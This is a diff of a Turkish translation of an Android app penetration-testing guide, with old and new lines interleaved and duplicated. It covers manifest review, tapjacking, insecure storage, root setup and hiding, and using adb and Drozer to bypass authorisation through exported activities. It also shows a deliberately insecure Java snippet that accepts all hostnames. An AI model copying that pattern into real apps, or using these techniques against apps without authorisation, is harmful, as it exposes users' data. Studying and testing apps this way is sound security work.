- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında `debuggable="true"` olarak ayarlanmış uygulamalar, bağlantılara izin verdikleri için istismar riski taşır. Debuggable uygulamaların nasıl bulunup istismar edileceği konusunda bir eğitim materyaline bakın.
- **Backup Ayarları**: Hassas bilgi işleyen uygulamalar için `android:allowBackup="false"` özniteliğinin açıkça ayarlanması gerekir; aksi halde, özellikle usb debugging etkinse adb üzerinden yetkisiz veri yedeklemeleri yapılabilir.
- **Network Güvenliği**: _res/xml/_ içindeki özel network security konfigürasyonları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin belirli domain'ler için HTTP trafiğine izin verilebilir.
- **Export Edilmiş Activities ve Services**: Manifest'te export edilmiş activity ve service'leri belirlemek, kötüye kullanılabilecek bileşenleri ortaya çıkarabilir. Dinamik testler sırasında bu bileşenlerin nasıl istismar edilebileceği daha ayrıntılı olarak analiz edilmelidir.
- **Content Providers ve FileProviders**: Açıkta kalan content provider'lar yetkisiz erişime veya veri değişikliğine izin verebilir. FileProvider konfigürasyonları da dikkatle incelenmelidir.
- **Broadcast Receiver'lar ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir; özellikle URL şemalarının input açısından nasıl yönetildiğine dikkat edilmelidir.
- **SDK Versiyonları**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` öznitelikleri desteklenen Android sürümlerini gösterir; eski ve zafiyetli Android sürümlerini desteklemenin güvenlik riskleri olduğu unutulmamalıdır.
- **Debuggable Applications**: _Manifest.xml_ dosyasında debuggable (`debuggable="true"`) olarak ayarlanmış uygulamalar risk taşır; bu ayar bağlantılara izin vererek exploitation'a yol açabilir. Debuggable uygulamaların cihazda nasıl bulunup exploit edileceğini öğrenmek için ilgili eğitimlere bakın.
- **Backup Settings**: Hassas bilgiyle uğraşan uygulamalar için `android:allowBackup="false"` özniteliğinin açıkça ayarlanması gerekir; aksi halde adb ile yetkisiz veri yedeklemelerine izin verilebilir, özellikle usb debugging etkinse.
- **Network Security**: _res/xml/_ içindeki özel network security konfigürasyonları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleme ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin belirli domain'ler için HTTP trafiğine izin verme.
- **Exported Activities and Services**: Manifest'te exported aktiviteler ve servislerin tespiti, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik testler sırasında bu bileşenlerin nasıl exploit edilebileceği daha iyi anlaşılır.
- **Content Providers and FileProviders**: Açıkta bırakılmış content provider'lar yetkisiz erişim veya veri değişikliğine izin verebilir. FileProviders yapılandırması da dikkatle incelenmelidir.
- **Broadcast Receivers and URL Schemes**: Bu bileşenler exploitation için kullanılabilir; özellikle URL şemalarının girdilerini nasıl yönettiğine dikkat edilmelidir.
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` öznitelikleri desteklenen Android sürümlerini gösterir; eski ve zayıf Android sürümlerine destek vermemek güvenlik açısından önemlidir.
**strings.xml** dosyasından API keys, custom schemas ve diğer geliştirici notları gibi hassas bilgiler bulunabilir; bu nedenle bu kaynakların dikkatli incelenmesi önemlidir.
**strings.xml** dosyasından API keys, özel schema'lar ve diğer geliştirici notları gibi hassas bilgiler bulunabilir; bu kaynakların dikkatle incelenmesi gerektiğini vurgular.
### Tapjacking
**Tapjacking** bir saldırıdır; burada bir **kötü niyetli** **uygulama** başlatılır ve **hedef uygulamanın üzerine kendini konumlandırır**. Kurban uygulamayı görünür şekilde örttüğünde, kullanıcıyı yanıltacak şekilde bir kullanıcı arayüzü tasarlanır ve yapılan etkileşimler arka plandaki hedef uygulamaya iletilir.\
Böylece kullanıcı **gerçekte hedef uygulama üzerinde işlem yaptığını bilmeden** harekete geçirilmiş olur.
Tapjacking, kötü amaçlı bir **application**'ın başlatılıp **kurban uygulamanın üzerine konumlanmasıyla** gerçekleşen bir saldırıdır. Kurban uygulamayı görünür şekilde örttüğünde, kötü amaçlı uygulamanın UI'sı kullanıcıyı etkileşimde bulunmaya kandıracak şekilde tasarlanır; aynı zamanda bu etkileşimi kurban uygulamaya iletir.\
Sonuç olarak, kullanıcı aslında kurban uygulamada işlem yapıyor olduğunu bilmeden **körlenir**.
Daha fazla bilgi için bakınız:
Daha fazla bilgi için bakın:
{{#ref}}
@ -104,55 +103,55 @@ tapjacking.md
### Task Hijacking
`launchMode`'u `singleTask` olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **activity** task Hijacking'e karşı savunmasızdır. Bu durum, kötü amaçlı bir **uygulamanın** yüklendikten sonra gerçek uygulamadan önce başlatılması halinde **gerçek uygulamanın task'ını kaçırabilmesi** (kullanıcının gerçek uygulamayı kullandığını düşünürken kötü amaçlı uygulama ile etkileşimde bulunması) anlamına gelir.
`launchMode` değeri **`singleTask`** olarak ayarlanmış ve herhangi bir **`taskAffinity`** tanımlanmamış bir **activity**, task Hijacking'e karşı açıktır. Bu, kötü amaçlı bir **application** yüklenip gerçek uygulamadan önce çalıştırılırsa **gerçek uygulamanın task'ını ele geçirebileceği** anlamına gelir (kullanıcı gerçek uygulamayı kullanıyormuş sanarak **kötü amaçlı uygulamayla etkileşimde bulunur**).
Daha fazla bilgi:
Detaylar için:
{{#ref}}
android-task-hijacking.md
{{#endref}}
### Güvenli Olmayan Veri Depolama
### Güvensiz veri depolama
**Internal Storage**
Internal Storage
Android'de dahili depolamada **saklanan** dosyalar, **oluşturan uygulama tarafından erişilebilir** olacak şekilde tasarlanmıştır. Bu güvenlik mekanizması Android işletim sistemi tarafından uygulanır ve çoğu uygulamanın güvenlik gereksinimleri için genellikle yeterlidir. Ancak geliştiriciler bazen dosyaların farklı uygulamalar arasında paylaşılmasına izin vermek için `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanır. Bu modlar, söz konusu dosyalara diğer uygulamaların, kötü niyetli uygulamalar dahil olmak üzere, erişimini kısıtlamaz.
Android'de dahili depolamada saklanan dosyalar, onları oluşturan uygulama tarafından erişilebilir olacak şekilde tasarlanmıştır. Bu güvenlik mekanizması Android işletim sistemi tarafından uygulanır ve çoğu uygulama için yeterlidir. Ancak geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında paylaşılmasına izin verirler. Bu modlar dosyalara diğer uygulamalar, potansiyel olarak kötü amaçlı olanlar dahil, erişimini kısıtlamaz.
1. **Statik Analiz:**
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatle incelenmesini** sağlayın. Bu modlar dosyaların **istenmeyen veya yetkisiz erişime** maruz kalmasına yol açabilir.
2. **Dinamik Analiz:**
- Uygulama tarafından oluşturulan dosyalarda ayarlanan **izinleri doğrulayın**. Özellikle herhangi bir dosyanın **dünya tarafından okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını kontrol edin. Bu, cihazda yüklü herhangi bir uygulamanın, kaynağı veya amacı ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin verebilir ve ciddi bir güvenlik riski oluşturur.
1. Statik Analiz:
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının dikkatle incelenmesini **sağlayın**. Bu modlar dosyaların **istemeden ya da yetkisiz biçimde** erişilebilir hale gelmesine yol açabilir.
2. Dinamik Analiz:
- Uygulama tarafından oluşturulan dosyalara verilen izinleri **doğrulayın**. Özellikle, herhangi bir dosyanın **genel okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu ciddi bir güvenlik riski oluşturur; cihazdaki herhangi bir uygulama, kaynağı veya amacı ne olursa olsun, bu dosyaları okuyup değiştirebilir.
**External Storage**
External Storage
SD kart gibi **harici depolama** ile çalışırken bazı önlemler alınmalıdır:
SD Kart gibi **external storage** üzerindeki dosyalarla uğraşırken alınması gereken önlemler:
1. **Erişilebilirlik**:
- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir** durumdadır. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
2. **Güvenlik Endişeleri**:
- Kolay erişim nedeniyle hassas bilgileri harici depolamada saklamamak önerilir.
- Harici depolama çıkarılabilir veya herhangi bir uygulama tarafından erişilebilir olduğundan daha az güvenlidir.
3. **Harici Depolamadan Veri Alma**:
- Harici depolamadan alınan veriler üzerinde her zaman **girdi doğrulaması** yapın. Bu, verinin güvenilmeyen bir kaynaktan geldiği için kritik önemdedir.
- Harici depolamada yürütülebilir veya sınıf dosyalarını dinamik yükleme amacıyla saklamak şiddetle tavsiye edilmez.
- Uygulamanız harici depolamadan yürütülebilir dosyalar almak zorundaysa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
1. Erişilebilirlik:
- Harici depolamadaki dosyalar **global olarak okunabilir ve yazılabilir**. Yani her uygulama veya kullanıcı bu dosyalara erişebilir.
2. Güvenlik Endişeleri:
- Bu nedenle hassas bilgileri harici depolamada saklamamak önerilir.
- Harici depolama çıkarılabilir veya herhangi bir uygulama tarafından erişilebilir, bu yüzden daha az güvenlidir.
3. Harici Depolamadan Gelen Veriyi İşleme:
- Harici depolamadan alınan verilerde her zaman **girdi doğrulaması** yapın. Çünkü veri güvenilmeyen bir kaynaktan gelmektedir.
- Harici depolamada dinamik yükleme için yürütülebilir veya class dosyaları saklamak şiddetle tavsiye edilmez.
- Eğer uygulamanız harici depolamadan yürütülebilir dosyalar almak zorundaysa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olmasını sağlayın; dinamik olarak yüklemeden önce bu adım güvenlik bütünlüğü için kritiktir.
Harici depolamaya şu yollarla erişilebilir: /storage/emulated/0 , /sdcard , /mnt/sdcard
External storage şu dizinlerden erişilebilir: /storage/emulated/0 , /sdcard , /mnt/sdcard
> [!TIP]
> Android 4.4 (**API 17**) ile başlayarak, SD kartın bir dizin yapısı vardır ve bu yapı **bir uygulamanın yalnızca o uygulamaya özel dizine erişimini sınırlar**. Bu, kötü amaçlı uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller.
**Açık metin olarak saklanan hassas veriler**
Açık metin olarak depolanan hassas veriler
- **Shared preferences**: Android her uygulamanın kolayca xml dosyaları kaydetmesine izin verir; bu dosyalar genellikle `/data/data/<packagename>/shared_prefs/` yolunda bulunur ve bazen bu klasörde açık metin halinde hassas bilgiler bulunabilir.
- **Databases**: Android her uygulamanın sqlite veri tabanlarını kolayca kaydetmesine izin verir; bu dosyalar genellikle `/data/data/<packagename>/databases/` yolunda bulunur ve bazen bu klasörde açık metin halinde hassas bilgiler bulunabilir.
- **Shared preferences**: Android her uygulamanın kolayca xml dosyaları kaydetmesine izin verir; yol `/data/data/<packagename>/shared_prefs/` olup bazen bu klasörde açık metin halinde hassas bilgiler bulunabilir.
- **Databases**: Android her uygulamanın sqlite veritabanlarını kaydetmesine izin verir; yol `/data/data/<packagename>/databases/` olup bazen bu klasörde açık metin halinde hassas bilgiler bulunabilir.
### Broken TLS
### Bozuk TLS
**Accept All Certificates**
Accept All Certificates
Nedeni her ne olursa olsun bazen geliştiriciler, örneğin hostname eşleşmesi olmasa bile tüm sertifikaları kabul ederler; bunu yapan kod satırlarına örnek olarak aşağıdaki gibi bir kullanım verilebilir:
Bazı nedenlerle geliştiriciler bazen tüm sertifikaları kabul ederler; örneğin hostname eşleşmesi olmasa bile aşağıdaki gibi kod satırlarıyla:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -161,25 +160,25 @@ A good way to test this is to try to capture the traffic using some proxy like B
### Broken Cryptography
**Zayıf Anahtar Yönetimi Süreçleri**
**Poor Key Management Processes**
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve kod içinde hardcoded/predictable bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı reversing işlemleri saldırganların gizli bilgileri çıkarmasına olanak sağlayabilir.
Bazı geliştiriciler hassas verileri local storage içinde saklayıp, kod içinde hardcoded/öngörülebilir bir anahtar ile encrypt ederler. Bu yapılmamalıdır çünkü bazı reversing işlemleri saldırganların gizli bilgiyi çıkarmasına izin verebilir.
**Use of Insecure and/or Deprecated Algorithms**
Geliştiriciler yetkilendirme **checks** yapmak, verileri **store** veya **send** etmek için **deprecated algorithms** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin şifreleri saklamak için **hashes** kullanılıyorsa, salt ile birlikte brute-force **resistant** hash'ler kullanılmalıdır.
Geliştiriciler yetkilendirme **checks**, veri **store** veya **send** etmek için **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Eğer örneğin şifreleri saklamak için **hashes** kullanılıyorsa, salt ile birlikte brute-force'a **karşı dirençli** hashler kullanılmalıdır.
### Diğer kontroller
### Other checks
- It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers.
- Eğer uygulama hassassa (ör. bank apps), kendi kontrollerini yapmalı; mobil cihazın **rooted** olup olmadığını kontrol etmeli ve buna göre davranmalıdır.
- Eğer uygulama hassassa (ör. bank apps), bir **emulator** kullanılıp kullanılmadığını kontrol etmelidir.
- Eğer uygulama hassassa (ör. bank apps), çalıştırmadan önce **check it's own integrity before executing** yaparak değiştirip değiştirilmediğini doğrulamalıdır.
- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK
- APK'yi **obfuscate** ederek tersine mühendislik işini saldırganlar için zorlaştırmak önerilir.
- Uygulama hassassa (ör. bankacılık uygulamaları), cihazın **rooted** olup olmadığını **kendi kontrollerini** yapmalı ve buna göre davranmalıdır.
- Uygulama hassassa (ör. bankacılık uygulamaları), bir **emulator** kullanılıp kullanılmadığını kontrol etmelidir.
- Uygulama hassassa (ör. bankacılık uygulamaları), **çalıştırmadan önce bütünlüğünü kontrol ederek** değiştirilip değiştirilmediğini doğrulamalıdır.
- APK'nin hangi compiler/packer/obfuscator ile derlendiğini kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın
### React Native Application
Aşağıdaki sayfayı okuyun; React uygulamalarının javascript kodlarına nasıl kolayca erişileceğini öğrenebilirsiniz:
Read the following page to learn how to easily access javascript code of React applications:
{{#ref}}
@ -188,7 +187,7 @@ react-native-application.md
### Xamarin Applications
Aşağıdaki sayfayı okuyun; bir xamarin uygulamasının C# kodlarına nasıl kolayca erişileceğini öğrenebilirsiniz:
Read the following page to learn how to easily access C# code of a xamarin applications:
{{#ref}}
@ -201,13 +200,13 @@ According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpa
### Automated Static Code Analysis
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
Araç [**mariana-trench**](https://github.com/facebook/mariana-trench), uygulamanın **code**unu **scan** ederek **vulnerabilities** bulabilir. Bu araç, **bilinen kaynaklar**ı (kullanıcının **kontrol ettiği** **girdi**lerin bulunduğu **yerleri** araca bildirir), **sinks** (kötü niyetli kullanıcı girdisinin zarar verebileceği **tehlikeli** **yerleri** araca bildirir) ve **kurallar** içerir. Bu kurallar, bir vulnerability'yi gösterecek **sources-sinks** kombinasyonlarını belirtir.
Bu bilgi ile **mariana-trench kodu inceleyip mümkün olan vulnerabilities'leri bulacaktır.**
Bu bilgiyle, **mariana-trench kodu inceleyip üzerinde olası vulnerability'leri bulacaktır**.
### Secrets leaked
Bir uygulama içinde keşfedebileceğiniz gizli bilgiler (API anahtarları, parolalar, gizli url'ler, subdomain'ler...) olabilir. Şunu kullanabilirsiniz: [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
@ -216,14 +215,14 @@ Bir uygulama içinde keşfedebileceğiniz gizli bilgiler (API anahtarları, paro
bypass-biometric-authentication-android.md
{{#endref}}
### Diğer ilginç fonksiyonlar
### Other interesting functions
- **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **SMS Gönderme**: `sendTextMessage, sendMultipartTestMessage`
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
### **Diğer tricks**
### **Other tricks**
{{#ref}}
@ -240,19 +239,19 @@ content-protocol.md
### Online Dynamic analysis
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
Bir **ücretsiz hesap** oluşturabilirsiniz: [https://appetize.io/](https://appetize.io). Bu platform APK yüklemeye ve **çalıştırmaya** izin vererek bir APK'nın nasıl davrandığını görmek için faydalıdır.
You can even **see the logs of your application** in the web and connect through **adb**.
Web üzerinden uygulamanızın loglarını **görebilir** ve **adb** üzerinden bağlanabilirsiniz.
![](<../../images/image (831).png>)
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
ADB bağlantısı sayesinde emülatörlerde **Drozer** ve **Frida** kullanabilirsiniz.
### Local Dynamic Analysis
#### Using an emulator
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz; ayrıca [**bu** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** versiyonları **ARM kütüphanelerini** yavaş bir arm emülatöre ihtiyaç duymadan desteklemektedir).
- Kurulumunu bu sayfada öğrenin:
@ -260,112 +259,110 @@ Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emu
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Personal Edition, hesap oluşturmanız gerekir. _Hataları önlemek için **VirtualBox** İLE birlikte olan sürümü **İNDİRMENİZ** önerilir._)
- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemiyor).
> [!TIP]
> Yeni bir emulator oluştururken ekran ne kadar büyükse emulator o kadar yavaş çalışır. Mümkünse küçük ekranları seçin.
> Herhangi bir platformda yeni bir emülatör oluştururken ekran ne kadar büyükse emülatörün o kadar yavaş çalışacağını unutmayın. Mümkünse küçük ekranlar seçin.
Genymotion'da google servislerini (ör. AppStore) yüklemek için aşağıdaki görüntüde kırmızı ile işaretlenmiş butona tıklamanız gerekir:
Genymotion'da google servislerini (ör. AppStore) **install** etmek için aşağıdaki görüntüde kırmızı ile işaretlenmiş butona tıklamanız gerekir:
![](<../../images/image (277).png>)
Ayrıca, **Genymotion içindeki Android VM'in konfigürasyonunda** **Bridge Network mode** seçebileceğinizi unutmayın (bu, araçların bulunduğu farklı bir VM'den Android VM'e bağlanacaksanız faydalı olacaktır).
Ayrıca, **Genymotion içindeki Android VM yapılandırmasında** **Bridge Network mode** seçeneğini seçebileceğinizi unutmayın (bu, Android VM'ine farklı bir VM'den araçlarla bağlanacaksanız faydalı olacaktır).
#### Use a physical device
Geliştirici seçeneklerini aktifleştirmeniz gerekir ve cihazı **root** yapmanız iyi olur:
Debug seçeneklerini aktifleştirmeniz gerekiyor ve mümkünse cihazı **root** yapmanız iyi olur:
1. **Settings**.
2. (FromAndroid 8.0) Select **System**.
3. Select **About phone**.
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
> Uygulamayı kurduktan sonra yapmanız gereken ilk şey onu denemek, ne yaptığını ve nasıl çalıştığını araştırmak ve alışmaktır.\
> İlk dinamik analizi MobSF dynamic analysis + pidcat kullanarak yapmanızı öneririm; böylece MobSF birçok ilginç veriyi **captures** ederken uygulamanın nasıl çalıştığını öğrenebileceksiniz.
Magisk/Zygisk quick notes (recommended on Pixel devices)
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
- Keep original boot.img to recover from OTA updates; re-patch after each OTA
- For screen mirroring, use scrcpy on the host
2. (Android 8.0 ve sonrası) **System** seçin.
3. **About phone** seçin.
4. **Build number** üzerine 7 kez basın.
5. Geri dönün ve **Developer options**'ı bulacaksınız.
> Uygulamayı yükledikten sonra, yapmanız gereken ilk şey onu çalıştırıp ne yaptığını, nasıl çalıştığını incelemek ve uygulamaya alışmaktır.\
> Bu ilk dinamik analiz için MobSF dynamic analysis + pidcat kullanmanızı öneririm; böylece uygulamanın nasıl çalıştığını öğrenirken MobSF birçok ilginç veriyi yakalar ve sonradan inceleyebilirsiniz.
Magisk/Zygisk kısa notlar (Pixel cihazlarda önerilir)
- Magisk uygulaması ile boot.img'yi patchleyip fastboot ile flashlayarak systemless root elde edin
- Zygisk + DenyList'i etkinleştirin; root gizleme için daha güçlü bir gizleme gerektiğinde LSPosed/Shamiko'yu düşünün
- OTA güncellemelerinden kurtulmak için orijinal boot.img'yi saklayın; her OTA sonrası tekrar patchleyin
- Ekran yansıtma için host üzerinde scrcpy kullanın
### Unintended Data Leakage
**Logging**
Geliştiriciler hata ayıklama bilgilerini herkese açık olarak ifşa etme konusunda dikkatli olmalıdır; çünkü bu hassas veri leaks ile sonuçlanabilir. Uygulama loglarını izlemek ve hassas bilgileri tespit etmek için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat** kullanışlılığı ve okunabilirliği nedeniyle tercih edilir.
Geliştiriciler, **debugging bilgilerini** kamuya açmak konusunda dikkatli olmalıdır, çünkü bu hassas veri leak'lerine yol açabilir. Uygulama loglarını izleyerek hassas bilgileri tespit etmek için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat** kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilir.
> [!WARNING]
> Android 4.0'dan **later newer than Android 4.0** itibaren **applications are only able to access their own logs**. Yani uygulamalar diğer uygulamaların loglarına erişemez.\
> Yine de hassas bilgileri loglamamaya dikkat edilmelidir.
> Android 4.0'dan **daha yeni sürümlerde**, **uygulamalar yalnızca kendi loglarına erişebilir**. Yani uygulamalar diğer uygulamaların loglarına erişemez.\
> Yine de, hassas bilgileri **loglamamak** önerilir.
**Copy/Paste Buffer Caching**
Android'in **clipboard-based** çerçevesi uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak diğer uygulamaların clipboard'a erişebilmesi nedeniyle hassas verilerin açığa çıkma riski vardır. Kredi kartı bilgileri gibi hassas bölümler için copy/paste fonksiyonlarını devre dışı bırakmak önemlidir.
Android'in **clipboard-based** framework'ü uygulamalarda kopyala-yapıştır işlevselliğini sağlar, ancak **diğer uygulamalar** panoya erişebildiği için hassas verileri ifşa etme riski taşır. Kredi kartı bilgileri gibi hassas bölümler için kopyala/yapıştır fonksiyonlarını **devre dışı bırakmak** önemlidir.
**Crash Logs**
Bir uygulama **crash** yaparsa ve loglar kaydedilirse, bu loglar özellikle uygulama tersine mühendislik yapılamıyorsa saldırganlara yardımcı olabilir. Bu riski azaltmak için çökme durumlarında loglama yapmaktan kaçının ve logların ağ üzerinden gönderilmesi gerekiyorsa SSL kanalı üzerinden gönderildiğinden emin olun.
Bir uygulama **çöküp** log kaydediyorsa, bu loglar özellikle uygulama tersine mühendislik yapılamıyorsa saldırganlar için yardımcı olabilir. Bu riski azaltmak için, çökme durumunda log kaydetmekten kaçının ve loglar ağ üzerinden gönderilecekse SSL kanalı ile iletildiğinden emin olun.
As pentester, **try to take a look to these logs**.
**Analytics Data Sent To 3rd Parties**
Uygulamalar genellikle Google Adsense gibi servisleri entegre eder; geliştiricinin yanlış uygulaması nedeniyle bu servisler istemeden hassas veri leaks oluşturabilir. Olası veri leaks'leri belirlemek için uygulamanın trafiğini intercept edip üçüncü taraflara gönderilen hassas bilgileri kontrol etmek önerilir.
Uygulamalar sıklıkla Google Adsense gibi hizmetleri entegre eder; geliştiricinin yanlış uygulaması nedeniyle hassas veriler istemeden üçüncü taraflara **sızdırılabilir**. Potansiyel veri sızıntılarını tespit etmek için uygulamanın trafiğini intercept edip üçüncü taraf hizmetlere herhangi bir hassas bilgi gönderilip gönderilmediğini kontrol etmek önerilir.
### SQLite DBs
Çoğu uygulama bilgi saklamak için **internal SQLite databases** kullanacaktır. Pentest sırasında oluşturulan veritabanlarına, tablo isimlerine, sütunlara ve kaydedilen tüm verilere bakın; çünkü hassas bilgiler (bir zafiyet olacak şekilde) bulabilirsiniz.\
Veritabanları genellikle `/data/data/the.package.name/databases` altında bulunur, örneğin `/data/data/com.mwr.example.sieve/databases`
Çoğu uygulama bilgileri kaydetmek için **internal SQLite databases** kullanır. Pentest sırasında oluşturulan **databaseleri**, **tabloların** ve **sütunların** isimlerini ve kaydedilen tüm **verileri** inceleyin; çünkü burada **hassas bilgiler** (vulnerability) bulunabilir.\
Databaseler genelde `/data/data/the.package.name/databases` içinde yer alır, örn `/data/data/com.mwr.example.sieve/databases`
Eğer veritabanı gizli bilgi saklıyorsa ve **encrypted** ise fakat uygulama içinde **password**'u bulabiliyorsanız, bu hâlâ bir **vulnerability**'dir.
Eğer veritabanı gizli bilgileri şifreliyorsa ve şifre uygulama içinde bulunuyorsa bu yine bir **vulnerability**'dir.
Tabloları listelemek için `.tables` kullanın ve tablonun sütunlarını görmek için `.schema <table_name>` çalıştırın.
Tabloları `.tables` ile sırala ve tabloların sütunlarını `.schema <table_name>` ile listele.
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**, bir Android uygulamasının rolünü üstlenmenize ve diğer uygulamalarla etkileşime girmenize izin verir. Yüklü bir uygulamanın yapabileceği **her şeyi** yapabilir; Android’in Inter-Process Communication (IPC) mekanizmasını kullanmak ve alt işletim sistemi ile etkileşim kurmak gibi. .\
Drozer, export edilmiş activities, exported services ve Content Providers'ı **exploit etmek** için faydalı bir araçtır; bunu sonraki bölümlerde öğreneceksiniz.
### Exploiting exported Activities
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Ayrıca bir activity'nin kodunun **`onCreate`** metodunda başladığını unutmayın.
Ayrıca bir activity kodunun **`onCreate`** metodunda başladığını unutmayın.
**Authorisation bypass**
Eğer bir Activity **exported** ise, ekranını dışarıdan bir uygulamadan çağırabilirsiniz. Bu nedenle, eğer hassas bilgi içeren bir activity exported ise, erişmek için authentication mekanizmalarını bypass edebilirsiniz.
Bir Activity export edilmişse, dış bir uygulamadan ekranı çağırabilirsiniz. Bu nedenle, içinde **hassas bilgi** bulunan bir activity **exported** ise, **authentication** mekanizmalarını **bypass** ederek ona erişebilirsiniz.
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
Ayrıca adb'den bir exported activity başlatabilirsiniz:
Ayrıca adb'den export edilmiş bir activity başlatabilirsiniz:
- PackageName is com.example.demo
- Exported ActivityName is com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
**NOTE**: MobSF bir aktivitede `android:launchMode` olarak _**singleTask/singleInstance**_ kullanımını kötü amaçlı olarak tespit edecektir, ancak due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), görünüşe göre bu yalnızca eski sürümlerde (API sürümleri < 21) tehlikelidir.
> [!TIP]
> Bu durumda, bir authorisation bypass her zaman bir zafiyet değildir; bypass'ın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır.
> Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed.
**Hassas bilgi sızıntısı**
Activities ayrıca sonuç döndürebilir. Eğer export edilmiş ve korunmasız bir activity bulur, **`setResult`** metodunu çağırdığını ve **hassas bilgi döndürdüğünü** görürseniz, bir hassas bilgi sızıntısı vardır.
